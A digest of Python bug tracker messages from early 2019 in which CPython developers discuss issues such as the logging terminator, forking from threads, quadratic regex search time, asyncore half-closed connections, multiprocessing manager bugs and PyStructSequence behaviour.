Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35046] logging.StreamHandler performs two syscalls when one would do

[Ulrich Petri]

Ulrich Petri  added the comment:

This change breaks (probably unsupported) uses of the logging module (esp. in 
combination with structlog) where non-string objects are passed through the 
.format() and .emit() calls.

Previously it was possible to set the terminator attribute to None (and then 
handling that case in a custom 'stream' implementation), which now breaks with 
a TypeError due to the concatenation.

In case anyone else runs into this (however unlikely that is). A workaround is 
to set the .terminator to something like this:

class ConcatenableNothing:
def __radd__(self, other):
return other

--
nosy: +ulope

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35902] Forking from background thread

[Antoine Pitrou]

Change by Antoine Pitrou :


--
nosy: +pablogsal

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35902] Forking from background thread

[Antoine Pitrou]

Antoine Pitrou  added the comment:

It is actually quite an intricate problem.  What happens is that child process 
*main thread* ends, but not its background sleeping thread (the `lambda: 
time.sleep(3600)`).

To diagnose it, you can display the process tree:
```
$ ps fu
USER   PID %CPU %MEMVSZ   RSS TTY  STAT START   TIME COMMAND
antoine  12634  0.0  0.0  28308  9208 pts/0Ss   15:21   0:00 bash
antoine   2520  0.0  0.0 179072 10684 pts/0Sl+  15:29   0:00  \_ ./python 
threadforkmodel.py
antoine   2522  0.0  0.0  0 0 pts/0Zl+  15:29   0:00  \_ 
[python] 
```

Then you can display all threads for the child process (here with pid 2522):
```
$ ps -T -p 2522
  PID  SPID TTY  TIME CMD
 2522  2522 pts/000:00:00 python 
 2522  2525 pts/000:00:00 python
```

The main thread is marked zombie ("defunct") but thread 2525 is still 
running... What is it doing?  Let's attach gdb:
```
$ gdb ./python --pid 2525
```

And display the call stack:
```
(gdb) bt
#0  0x7f1fb3ca503f in __GI___select (nfds=nfds@entry=0, 
readfds=readfds@entry=0x0, writefds=writefds@entry=0x0, 
exceptfds=exceptfds@entry=0x0, timeout=timeout@entry=0x7f1fb23553c0) at 
../sysdeps/unix/sysv/linux/select.c:41
#1  0x55e6fc4fcf7e in pysleep (secs=) at 
./Modules/timemodule.c:1864
#2  0x55e6fc4fd022 in time_sleep (self=self@entry=, obj=)
at ./Modules/timemodule.c:366
#3  0x55e6fc3a02e7 in _PyMethodDef_RawFastCallKeywords 
(method=0x55e6fc887ee0 , 
self=, args=args@entry=0x7f1fb336a8f8, 
nargs=nargs@entry=1, kwnames=0x0) at Objects/call.c:646
#4  0x55e6fc3a04c7 in _PyCFunction_FastCallKeywords (
func=func@entry=, args=args@entry=0x7f1fb336a8f8, 
nargs=nargs@entry=1, kwnames=kwnames@entry=0x0) at Objects/call.c:732
#5  0x55e6fc4506e9 in call_function 
(pp_stack=pp_stack@entry=0x7f1fb2355570, oparg=oparg@entry=1, 
kwnames=kwnames@entry=0x0)
at Python/ceval.c:4607
#6  0x55e6fc45c678 in _PyEval_EvalFrameDefault (f=Frame 0x7f1fb336a770, for 
file threadforkmodel.py, line 36, in  (), 
throwflag=) at Python/ceval.c:3195
#7  0x55e6fc451110 in PyEval_EvalFrameEx (f=f@entry=Frame 0x7f1fb336a770, 
for file threadforkmodel.py, line 36, in  (), 
throwflag=throwflag@entry=0) at Python/ceval.c:581
#8  0x55e6fc451d21 in _PyEval_EvalCodeWithName (_co=_co@entry=, 
globals=globals@entry={'__name__': '__main__', '__doc__': None, 
'__package__': None, '__loader__': , '__spec__': None, 
'__annotations__': {}, '__builtins__': , 
'__file__': 'threadforkmodel.py', '__cached__': None, 'threading': , 'time': , 'os': 
, 'atexit': , 
'signal': , 'run': , 'start': , 'join': 
, 'runFork': , 'handleExit': , 
'handleChildExit': , 'main': }, locals=locals@entry=0x0, 
args=args@entry=0x7f1fb4aec078, argcount=argcount@entry=0, 
kwnames=kwnames@entry=0x0, kwargs=0x0, kwcount=0, kwstep=2, 
defs=0x0, defcount=0, kwdefs=0x0, closure=0x0, name='', 
qualname='runFork..') at Python/ceval.c:3969

[...]
```

So basically the sleep() call wasn't woken up by the main thread's death... 
even though we might have expected it to.  This is indeed a case of weird 
interaction between threads and processes.  The only reference I could find is 
a single comment in a StackOverflow question:
"""
Be aware that infinite waits on semaphores, handles etc can cause your process 
to become a zombie in both Windows and Linux.
"""

The reason I'm posting this detailed explanation is that I hit the exact same 
issue when trying to debug the PEP 556 implementation, and it took me quite 
some time (and Pablo's help) to finally understand and workaround the issue.


In the end, I would recommend you don't use fork() but use multiprocessing with 
the "forkserver" start method, which will eliminate such problems:
https://docs.python.org/3/library/multiprocessing.html#contexts-and-start-methods

--
nosy: +pitrou

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue34398] Docs search does not index glossary items

[Cheryl Sabella]

Cheryl Sabella  added the comment:

@ammar2, this looks like a great addition to the docs.  Would you be able to 
address Berker's request and also fix the merge conflict on the PR?

Also adding Julien and Carol from the expert's index for documentation.

--
nosy: +cheryl.sabella, mdk, willingc
versions:  -Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35902] Forking from background thread

[Antoine Pitrou]

Antoine Pitrou  added the comment:

By the way, one likely explanation why this happens only when fork() is called 
from a non-main thread is that the non-main thread (which becomes the main 
thread in the child process) ends with pthread_exit() while the main thread 
would end with exit().

--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35912] _testembed.c fails to compile when using --with-cxx-main in the configure step

[Pablo Galindo Salgado]

New submission from Pablo Galindo Salgado :

Programs/_testembed.c is compiled with $(MAINCC) in Makefile.pre.in and that 
will use the C++ compiler if --with-cxx-main is used in the configuration step. 
The problem is that if the C++ compiler used is some of the more uncommon ones 
(like the solaris compiler) some parts of _testembed.c and its includes fail to 
compile because they are assuming C99 or compiler extension. There are mainly 
two:

1) _testembed.c has gotos that crosses variable definitions. The C++ standard 
says:

If transfer of control enters the scope of any automatic variables (e.g. by 
jumping forward over a declaration statement), the program is ill-formed 
(cannot be compiled), unless all variables whose scope is entered have

1) scalar types declared without initializers
2) class types with trivial default constructors and trivial destructors 
declared without initializers
3) cv-qualified versions of one of the above
4) arrays of one of the above

So the gotos that can be found in `dump_config_impl` in `_testembed.c` are 
invalidating this rule.

2) `testembed.c` is pulling `pystate.h` and that header file defines a macro 
(_PyCoreConfig_INIT) that uses designated initializers that are not available 
as an extension in all C++ compilers.

The solutions that I can immediately think of aare:

1) Compile _testembed.c with the $(CC) instead of $(CCMAIN).
2) Change these files to make them compliant with the standard (by initializing 
all variables at the beginning and by using just compound literals).

--
components: Interpreter Core
messages: 334942
nosy: pablogsal
priority: normal
severity: normal
status: open
title: _testembed.c fails to compile when using --with-cxx-main in the 
configure step
versions: Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35905] macOS build docs need refresh (2019)

[Jason R. Coombs]

Jason R. Coombs  added the comment:

I also have a script that does something very similar 
(https://github.com/jaraco/jaraco.develop/blob/master/jaraco/develop/macos-build-python.py),
 invoked with `python -m jaraco.develop.macos-build-python` (or `pip-run -m 
jaraco.develop -- -m jaraco.develop.macos-build-python` if you don't have it 
installed).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[Isaac Boukris]

New submission from Isaac Boukris :

When recv() return 0 we may still have data to send. Add a handler for this 
case, which may happen with some protocols, notably http1.0 ver.

Also, do not call recv with a buffer size of zero to avoid ambiguous return 
value (see recv man page).

--
components: Library (Lib)
messages: 334944
nosy: Isaac Boukris
priority: normal
severity: normal
status: open
title: asyncore: allow handling of half closed connections
type: behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35813] shared memory construct to avoid need for serialization between processes

[Terry J. Reedy]

Terry J. Reedy  added the comment:

I would prefer that we be consistent.  In any case, I think you should be added 
to Misc/ACKS in the PR.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35914] [2.7] PyStructSequence objects not behaving like nametuple

[Xiang Gao]

New submission from Xiang Gao :

Related: https://bugs.python.org/issue1820

On issue 1820, a bunch of improvements was made on PyStructSequence to make it 
behave like a namedtuple. These improvements are not ported to Python 2, which 
makes it a trouble to write python 2-3 compatible code.

See also: https://github.com/pytorch/pytorch/pull/15429#discussion_r253205020

--
components: Interpreter Core
messages: 334946
nosy: Xiang Gao
priority: normal
severity: normal
status: open
title: [2.7] PyStructSequence objects not behaving like nametuple
type: behavior
versions: Python 2.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[Roundup Robot]

Change by Roundup Robot :


--
keywords: +patch
pull_requests: +11735
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[Roundup Robot]

Change by Roundup Robot :


--
keywords: +patch, patch
pull_requests: +11735, 11736
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35896] sysconfig.get_platform returns wrong value when Python 32b is running under Windows 64b

[Steve Dower]

Steve Dower  added the comment:

> This includes _getdiskusage, _getfinalpathname, _getfullpathname, 
> _getvolumepathname, _isdir, and startfile. They have no place in a POSIX 
> module.

Except for startfile, I disagree. They are all there to help implement POSIX 
compatibility, and as private APIs, there's no better place to put them.

In any case, this issue is closed for now, pending a discussion on python-dev. 
If anyone feel strongly about making changes, it'll need to start with a post 
on the mailing list.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue22213] Make pyvenv style virtual environments easier to configure when embedding Python

[Steve Dower]

Steve Dower  added the comment:

Victor may be thinking about it from time to time (or perhaps it's time to make 
the rest of the configuration changes plans concrete so we can all help out?), 
but I'd like to see this as either:

* a helper function to fill out the core config structure from a pyvenv.cfg 
file (rather than hiding it deeper as it currently is), or better yet,
* remove the dependency on all non-frozen imports at initialization and let 
embedders define Python code to do the initialization

In the latter case, the main python.exe also gets to define its behavior. So 
for the most part, we should be able to remove getpath[p].c and move it into 
the site module, then make that our Python initialization step.

This would also mean that if you are embedding Python but not allowing imports 
(e.g. as only a calculation engine), you don't have to do the dance of 
_denying_ all lookups, you simply don't initialize them.

But as far as I know, we don't have a concrete vision for "how will consumers 
embed Python in their apps" that can translate into work - we're still all 
individually pulling in slightly different directions. Sorting that out is most 
important - having someone willing to do the customer engagement work to define 
an actual set of requirements and desirables would be fantastic.

--
versions: +Python 3.8 -Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35915] re.search livelock/hang, searching for patterns starting .* in a large string

[Ben Spiller]

New submission from Ben Spiller :

These work fine and return instantly:
python -c "import re;  re.compile('.*x').match('y'*(1000*100))"
python -c "import re;  re.compile('x').search('y'*(1000*100))"
python -c "import re;  re.compile('.*x').search('y'*(1000*10))"

This hangs / freezes / livelocks indefinitely, with lots of CPU usage:
python -c "import re;  re.compile('.*x').search('y'*(1000*100))"

Admittedly performing a search() with a pattern starting .* isn't useful, 
however it's worth fixing as:
- it's easily done by inexperienced developers, or users interacting with code 
that's far removed from the actual regex call
- the failure mode of hanging forever (with the GIL held, of course) is quite 
severe (took us a lot of debugging with gdb before we figured out where our 
complex multi-threaded python program was hanging!), and 
- the fact that the behaviour is different based on the length of the string 
being matched suggests there is some kind of underlying bug in how the buffer 
is handled whcih might also affect other, more reasonable regex use cases

--
components: Regular Expressions
messages: 334949
nosy: benspiller, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: re.search livelock/hang, searching for patterns starting .* in a large 
string
type: crash
versions: Python 2.7, Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35916] 3.6.5 try/except/else/finally block executes code with typos, no errors

[DMITRY KOSHELEV]

New submission from DMITRY KOSHELEV :

Hello dear developer!
I was playing with try/else/finally block and have found a bug:

Inside of "else" or/and "except" I can do this 
  1 + print('Why do you print me?') + 1
this would print "Why do you print me?", 
in case if I have "finally" block with a "return" statement, no error raises,
if I don't have finally, nothing is printed.

def foo(var):
  try:
print("Hello")
# 1 + print("Hello")
except:
  1 + print('Why do you print me?') + 1
else:
  1 + print('Why do you print me?') + 1
finally:
  print("finally block")
  return

--
files: bug_in_try_exceptions.py
messages: 334950
nosy: dmitry_koshelev
priority: normal
severity: normal
status: open
title: 3.6.5 try/except/else/finally block executes code with typos, no errors
type: behavior
versions: Python 3.6
Added file: https://bugs.python.org/file48107/bug_in_try_exceptions.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35916] 3.6.5 try/except/else/finally block executes code with typos, no errors

[SilentGhost]

SilentGhost  added the comment:

This seem to be the exactly documented behaviour. From 
https://docs.python.org/3.8/reference/compound_stmts.html#the-try-statement

If finally is present, it specifies a ‘cleanup’ handler. The try clause is 
executed, including any except and else clauses. If an exception occurs in any 
of the clauses and is not handled, the exception is temporarily saved. The 
finally clause is executed. If there is a saved exception it is re-raised at 
the end of the finally clause. If the finally clause raises another exception, 
the saved exception is set as the context of the new exception. If the finally 
clause executes a return, break or continue statement, the saved exception is 
discarded.

--
nosy: +SilentGhost
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[SilentGhost]

Change by SilentGhost :


--
nosy: +giampaolo.rodola, josiahcarlson, stutzbach
versions: +Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35917] multiprocessing: provide unit-tests for manager classes and shareable types

[Giampaolo Rodola']

New submission from Giampaolo Rodola' :

This is a follow up of BPO-35813 and PR-11664 and it provides unit tests for 
SyncManager and SharedMemoryManager classes + all the shareable types which are 
supposed to be supported by them. Also, see relevant python-dev discussion at: 
https://mail.python.org/pipermail/python-dev/2019-February/156235.html.

In doing so I discovered a couple of issues which I will treat in a separate 
BPO ticket (multiprocessing.managers's dict.has_key() and Pool() appear to be 
broken).

--
components: Tests
messages: 334952
nosy: giampaolo.rodola
priority: normal
severity: normal
stage: patch review
status: open
title: multiprocessing: provide unit-tests for manager classes and shareable 
types
type: enhancement
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35911] add a cell construtor, and expose the cell type in Lib/types.py

[Pierre Glaser]

Change by Pierre Glaser :


--
pull_requests: +11738, 11739
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35911] add a cell construtor, and expose the cell type in Lib/types.py

[Pierre Glaser]

Change by Pierre Glaser :


--
pull_requests: +11738
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35917] multiprocessing: provide unit-tests for manager classes and shareable types

[Terry J. Reedy]

Change by Terry J. Reedy :


--
nosy: +davin, pitrou

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35917] multiprocessing: provide unit-tests for manager classes and shareable types

[Giampaolo Rodola']

Change by Giampaolo Rodola' :


--
keywords: +patch
pull_requests: +11740

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35917] multiprocessing: provide unit-tests for manager classes and shareable types

[Giampaolo Rodola']

Change by Giampaolo Rodola' :


--
keywords: +patch, patch, patch
pull_requests: +11740, 11741, 11742

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35917] multiprocessing: provide unit-tests for manager classes and shareable types

[Giampaolo Rodola']

Change by Giampaolo Rodola' :


--
keywords: +patch, patch
pull_requests: +11740, 11741

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35915] re.search extreme slowness (looks like hang/livelock), searching for patterns containing .* in a large string

[Ben Spiller]

Ben Spiller  added the comment:

Correction to original report - it doesn't hang indefinitely, it just takes a 
really long time. Specifically, looks like it's quadratic in the length of the 
input string. Increase the size of the input string to 1000*1000 and it's 
really really slow. 

I don't know for sure if it's possible to implement regexes in a way that 
avoids this pathological behaviour, but it's certainly quite risky that an 
otherwise working bit of code using a pattern containing .* can hang/livelock 
an application for an arbitrary  amount of time if passed a 
larger-than-expected (but actually not that big) input string.

--
title: re.search livelock/hang, searching for patterns starting .* in a large 
string -> re.search extreme slowness (looks like hang/livelock), searching for 
patterns containing .* in a large string
type: crash -> performance

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35917] multiprocessing: provide unit-tests for manager classes and shareable types

[Antoine Pitrou]

Antoine Pitrou  added the comment:

Interesting.  I had never looked too closely and assumed this was already 
tested.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35917] multiprocessing: provide unit-tests for manager classes and shareable types

[Antoine Pitrou]

Antoine Pitrou  added the comment:

Would probably be worthwhile backporting to 3.7 as well.

--
versions: +Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35915] re.search extreme slowness (looks like hang/livelock), searching for patterns containing .* in a large string

[Ben Spiller]

Ben Spiller  added the comment:

Running this command:
time python -c "import re;  re.compile('y.*x').search('y'*(N))"

It's clearly quadratic:
N=100,000 time=7s
N=200,000 time=18s
N=400,000 time=110s
N=1,000,000 time=690s

This illustrates how a simple program that's working correctly can quickly 
degrade to a very long period of unresponsiveness after some fairly modest 
increases in size of input string.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35813] shared memory construct to avoid need for serialization between processes

[Giampaolo Rodola']

Giampaolo Rodola'  added the comment:

Unit-tests at https://bugs.python.org/issue35917.

--
nosy: +giampaolo.rodola

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35915] re.search extreme slowness (looks like hang/livelock), searching for patterns containing .* in a large string

[Tim Peters]

Tim Peters  added the comment:

Yes, it's quadratic time.  If the string being searched has N characters, first 
it fails to find "x" in all N of 'em, then `.*` advances by one and it fails to 
find "x" in the trailing N-1 characters, then again in the trailing N-2, and so 
on.  N + N-1 + N-2 + ... + 1 is quadratic in N.

That's how this kind of regexp engine works.  And it's mild, as such things go: 
 you can also create poor regexps that take time _exponential_ in N that fail 
to match certain strings.

It's unlikely this will change without replacing Python's regexp implementation 
entirely.  For why, see Jeffrey Friedl's book "Mastering Regular Expressions" 
(published by O'Reilly).  That book also spells out techniques for crafting 
regexps that don't suck ;-)  It's not a small topic, alas.

--
nosy: +tim.peters

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35918] multiprocessing's SyncManager.dict.has_key() method is broken

[Giampaolo Rodola']

New submission from Giampaolo Rodola' :

Related to BPO-35917:

$ ./python 
Python 3.8.0a1+ (heads/master:cd90f6a369, Feb  6 2019, 17:16:10) 
[GCC 7.3.0] on linux
>>> import multiprocessing.managers
>>> m = multiprocessing.managers.SyncManager()
>>> m.start()
>>> d = m.dict()
>>> 'has_key' in dir(d)
True
>>> d.has_key(1)
Traceback (most recent call last):
  File "/home/giampaolo/cpython/Lib/multiprocessing/managers.py", line 271, in 
serve_client
fallback_func = self.fallback_mapping[methodname]
KeyError: 'has_key'

--
messages: 334959
nosy: davin, giampaolo.rodola, jnoller, pitrou, sbt
priority: normal
severity: normal
stage: needs patch
status: open
title: multiprocessing's SyncManager.dict.has_key() method is broken
versions: Python 3.6, Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[Giampaolo Rodola']

Giampaolo Rodola'  added the comment:

Assigning this to me but am not sure 1) when I'll be able to look at this 2) 
whether it's worth it as asyncore is deprecated in favor of asyncio.

--
assignee:  -> giampaolo.rodola

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[Emmanuel Arias]

Emmanuel Arias  added the comment:

Hi!

> Assigning this to me but am not sure 1) when I'll be able to look at this 2) 
> whether it's worth it as asyncore is deprecated in favor of asyncio.

Yes, asyncore is deprecated since 3.6.

--
nosy: +eamanu

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35919] multiprocessing: shared manager Pool fails with AttributeError

[Giampaolo Rodola']

New submission from Giampaolo Rodola' :

import multiprocessing
import multiprocessing.managers

def f(n):
return n * n

def worker(pool):
with pool:
pool.apply_async(f, (10, ))

manager = multiprocessing.managers.SyncManager()
manager.start()
pool = manager.Pool(processes=4)
proc = multiprocessing.Process(target=worker, args=(pool, ))
proc.start()
proc.join()

This is related to BPO-35917 and it fails with:

Process Process-2:
Traceback (most recent call last):
  File "/home/giampaolo/cpython/Lib/multiprocessing/process.py", line 302, in 
_bootstrap
self.run()
  File "/home/giampaolo/cpython/Lib/multiprocessing/process.py", line 99, in run
self._target(*self._args, **self._kwargs)
  File "foo.py", line 54, in worker
pool.apply_async(f, (10, ))
  File "", line 2, in apply_async
  File "/home/giampaolo/cpython/Lib/multiprocessing/managers.py", line 802, in 
_callmethod
proxytype = self._manager._registry[token.typeid][-1]
AttributeError: 'NoneType' object has no attribute '_registry'

--
messages: 334962
nosy: davin, giampaolo.rodola, pitrou
priority: normal
severity: normal
status: open
title: multiprocessing: shared manager Pool fails with AttributeError

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35813] shared memory construct to avoid need for serialization between processes

[Giampaolo Rodola']

Giampaolo Rodola'  added the comment:

Also, for completeness (since discussion is getting split), please see my 
proposal to move SharedMemoryManager and SharedMemoryServer into 
multiprocessing.managers namespace and rename shared_memory.py to 
_shared_memory.py:
https://mail.python.org/pipermail/python-dev/2019-February/156235.html
Also, it appears ShareableList should be register()ed against 
SharedMemoryManager.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[Isaac Boukris]

Isaac Boukris  added the comment:

Fair enough. I'll sign the CLA meanwhile you consider it.

In my opinion it may still be useful in addressing issues in existing projects 
written using asyncore (and maybe for python2 as well).

Thanks!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35914] [2.7] PyStructSequence objects not behaving like nametuple

[Eric Snow]

Eric Snow  added the comment:

tl;dr It's too late to change anything here.  Also, is it actually a problem in 
practice?



At this point enhancements can not go into 2.7 (you're welcome to appeal to the 
release manager).  The changes to `PyStructSequence` (from bpo-1820) appear to 
have been merged for 3.2 in July 2010.  However, this is just after 2.7 went 
final and 3 months after the first beta release (where no more enhancements are 
allowed).

Likewise, at this point we cannot revert the original change (from bpo-1820).  
Doing so in 3.7 (the only one taking bug fixes) or 3.8 (upcoming) would break 
compatibility with 3.2 and up.

Notably, this discrepancy has been there since 2.7/3.2 were released (8+ 
years).  I don't recall any previous reports of a problem here, so I expect the 
impact is small.

Regardless, from what I understand the problem is that pytorch was returning 
tuples and (with that PR) was going to return "named" tuples. 
 For C-extension functions it wouldn't actually be a tuple any more but a 
structseq instead.  So user code that checked for a tuple would suddenly work 
differently.  Is that right?

If so, I'm not clear on when this would be a problem in practice.  Why would 
users of pytorch (or any similar library) be checking the type returned from a 
specific function in the library's documented API?  If it was returning a tuple 
before then I'd expect them to be using unpacking or index access.  That would 
keep working if the library switched to namedtuple and structseq.

--
nosy: +benjamin.peterson, christian.heimes, eric.snow, rhettinger
type: behavior -> enhancement

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35914] [2.7] PyStructSequence objects not behaving like nametuple

[Eric Snow]

Eric Snow  added the comment:

[1] https://devguide.python.org/#status-of-python-branches

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35914] [2.7] PyStructSequence objects not behaving like nametuple

[Eric Snow]

Eric Snow  added the comment:

FWIW, if folks *are* checking for tuple (and I'd love to know why) then I'd 
recommend that they not. :)  A more Pythonic (and arguably generally better) 
approach would be to stick tightly to what data you need and take advantage of 
duck-typing.  When possible, try attribute access first if you expect that 
(e.g. namedtuple or struct seq).  Otherwise try use unpacking.

For example:

```
try:
x, y = ret.x, ret.y
except AttributeError:
pass
else:
...
```

```
try:
   x, y, _ = ret
except TypeError:
   pass
except ValueError:
   pass
else:
   ...
```

Either way is easier to follow than code that relies on type (and length) 
checking.  They also have the advantage of allowing arbitrary types that fit 
(duck-typing).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35913] asyncore: allow handling of half closed connections

[Andrew Svetlov]

Andrew Svetlov  added the comment:

My personal opinion is: we should accept bug fixes for asyncore but stop adding 
new features to the module.
asyncio supersedes asyncore in all aspects.

--
nosy: +asvetlov

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27344] zipfile *does* support utf-8 filenames

[Cheryl Sabella]

Cheryl Sabella  added the comment:

This wording was removed as part of issue 32035.

--
nosy: +cheryl.sabella
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Documentation of zipfile.ZipFile().writestr() fails to mention 
that 'data' may also be bytes

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35914] [2.7] PyStructSequence objects not behaving like nametuple

[Xiang Gao]

Xiang Gao  added the comment:

Hi Eric,

Thanks for your valuable information and fast reply. You understand the problem 
exactly correct: initially pytorch had codes like `isinstance(x, tuple)` and 
lots of `PyTuple_Check`, but when we start to change the return type from tuple 
to structseq, these checks starts to fail.

Yes, I agree generally the impact is small for this issue. Most users of 
PyTorch would just use the way like `values, indices = a.max(dim=0)`, which 
works perfectly before or after that PR. The impacts are probably mostly on 
libraries that use PyTorch as dependency. These libraries might have generic 
code that should be able to handle returns of most operators, for example, 
something like:

User code:
```
import torch
import a_deep_learning_library

class MyModel(torch.nn.Module):
..
def forward(self, input_):
..
return tensor.sum(dim=0)

model = MyModel()
a_deep_learning_library.do_something(model)
```

Code of a_deep_learning_library:
```
def do_something(model):
input_ = prepare_input()
output = model(input_)
if torch.is_tensor(output):
do_something_1(output)
elif isinstance(output, float):
do_something_2(output)
elif isinstance(output, tuple):
sum_ = sum(output)
do_something_3(sum_)
elif 
```

Unpacking does not always work because it is hard to differentiate these two 
cases: `a, b = torch.tensor([1, 2])` and `a, b = torch.tensor([1, 2]), 
torch.tensor([3, 4])`, but your suggestion is very valuable.

I am neither a member of PyTorch team nor a Facebook employee. I am just a 
community contributor working on that issue. I will open an issue on PyTorch 
discussing the problem.

Thanks!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35899] '_is_sunder' function in 'enum' module fails on empty string

[Cheryl Sabella]

Cheryl Sabella  added the comment:

I agree with Rémi Lapeyre.

For reference, the len() check and current tests were added under issue 19156.

